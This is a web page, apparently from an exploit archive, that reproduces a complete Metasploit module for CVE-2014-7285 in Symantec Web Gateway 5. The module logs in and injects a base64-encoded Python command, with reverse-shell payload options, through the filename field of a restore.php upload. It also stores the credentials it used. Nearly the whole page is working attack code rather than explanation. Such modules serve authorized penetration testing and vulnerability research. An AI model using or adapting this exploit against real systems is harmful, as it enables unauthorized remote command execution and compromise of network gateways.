Search the Community

This Metasploit module exploits a command injection vulnerability found in Symantec Web Gateway's setting restoration feature. The filename portion can be used to inject system commands into a syscall function, and gain control under the context of HTTP service. For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user. However, for version 5.2.1, you must be an administrator. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Web Gateway 5 restore.php Post Authentication Command Injection", 'Description' => %q{ This module exploits a command injection vulnerability found in Symantec Web Gateway's setting restoration feature. The filename portion can be used to inject system commands into a syscall function, and gain control under the context of HTTP service. For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user. However, for version 5.2.1, you must be an administrator. }, 'License' => MSF_LICENSE, 'Author' => [ 'Egidio Romano', # Original discovery & assist of MSF module 'sinn3r' ], 'References' => [ [ 'CVE', '2014-7285' ], [ 'OSVDB', '116009' ], [ 'BID', '71620' ], [ 'URL', 'http://karmainsecurity.com/KIS-2014-19' ], [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141216_00'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python' } }, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'SSLVersion' => 'TLS1' }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Symantec Web Gateway 5', {}] ], 'Privileged' => false, 'DisclosureDate' => "Dec 16 2014", # Symantec security bulletin (Vendor notified on 8/10/2014) 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI to Symantec Web Gateway', '/']), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password for the username']) ], self.class) end def protocol ssl ? 'https' : 'http' end def check uri = target_uri.path res = send_request_cgi({'uri' => normalize_uri(uri, 'spywall/login.php')}) if res && res.body.include?('Symantec Web Gateway') return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def get_sid sid = '' uri = target_uri.path res = send_request_cgi({ 'uri' => normalize_uri(uri, 'spywall/login.php'), 'method' => 'GET', }) unless res fail_with(Failure::Unknown, 'Connection timed out while retrieving PHPSESSID') end cookies = res.get_cookies sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' sid end def login(sid) uri = target_uri.path res = send_request_cgi({ 'uri' => normalize_uri(uri, 'spywall/login.php'), 'method' => 'POST', 'cookie' => sid, 'headers' => { 'Referer' => "#{protocol}://#{peer}/#{normalize_uri(uri, 'spywall/login.php')}" }, 'vars_post' => { 'USERNAME' => datastore['USERNAME'], 'PASSWORD' => datastore['PASSWORD'], 'loginBtn' => 'Login' } }) unless res fail_with(Failure::Unknown, 'Connection timed out while attempting to login') end cookies = res.get_cookies sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' if res.headers['Location'] =~ /executive_summary\.php$/ && !sid.blank? # Successful login return sid else # Failed login fail_with(Failure::NoAccess, "Bad username or password: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") end end def build_payload # At of today (Feb 27 2015), there are only three payloads this module will support: # * cmd/unix/generic # * cmd/unix/reverse_python # * cmd/unix/reverse_python_ssl p = payload.encoded case datastore['PAYLOAD'] when /cmd\/unix\/generic/ # Filter that one out, Mr. basename() p = Rex::Text.encode_base64("import os ; os.system('#{Rex::Text.encode_base64(p)}'.decode('base64'))") p = "python -c \"exec('#{p}'.decode('base64'))\"" else p = p.gsub(/python -c "exec/, 'python -c \\"exec') p = p.gsub(/decode\('base64'\)\)"/, "decode('base64'))\\\"") end p end def build_mime p = build_payload data = Rex::MIME::Message.new data.add_part("#{Time.now.to_i}", nil, nil, 'form-data; name="posttime"') data.add_part('maintenance', nil, nil, 'form-data; name="configuration"') data.add_part('', 'application/octet-stream', nil, 'form-data; name="licenseFile"; filename=""') data.add_part('24', nil, nil, 'form-data; name="raCloseInterval"') data.add_part('', nil, nil, 'form-data; name="restore"') data.add_part("#{Rex::Text.rand_text_alpha(4)}\n", 'text/plain', nil, "form-data; name=\"restore_file\"; filename=\"#{Rex::Text.rand_text_alpha(4)}.txt; #{p}\"") data.add_part('Restore', nil, nil, 'form-data; name="restoreFile"') data.add_part('0', nil, nil, 'form-data; name="event_horizon"') data.add_part('0', nil, nil, 'form-data; name="max_events"') data.add_part(Time.now.strftime("%m/%d/%Y"), nil, nil, 'form-data; name="cleanlogbefore"') data.add_part('', nil, nil, 'form-data; name="testaddress"') data.add_part('', nil, nil, 'form-data; name="pingaddress"') data.add_part('and', nil, nil, 'form-data; name="capture_filter_op"') data.add_part('', nil, nil, 'form-data; name="capture_filter"') data end def inject_exec(sid) uri = target_uri.path mime = build_mime # Payload inside send_request_cgi({ 'uri' => normalize_uri(uri, 'spywall/restore.php'), 'method' => 'POST', 'cookie' => sid, 'data' => mime.to_s, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'headers' => { 'Referer' => "#{protocol}://#{peer}#{normalize_uri(uri, 'spywall/mtceConfig.php')}" } }) end def save_cred(username, password) service_data = { address: rhost, port: rport, service_name: protocol, protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: self.fullname, origin_type: :service, username: username, private_data: password, private_type: :password }.merge(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL }.merge(service_data) create_credential_login(login_data) end def exploit print_status("Getting the PHPSESSID...") sid = get_sid if sid.blank? print_error("Failed to get the session ID. Cannot continue with the login.") return end print_status("Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}") sid = login(sid) if sid.blank? print_error("Failed to get the session ID from the login process. Cannot continue with the injection.") return else # Good password, keep it save_cred(datastore['USERNAME'], datastore['PASSWORD']) end print_status("Trying restore.php...") inject_exec(sid) end end Source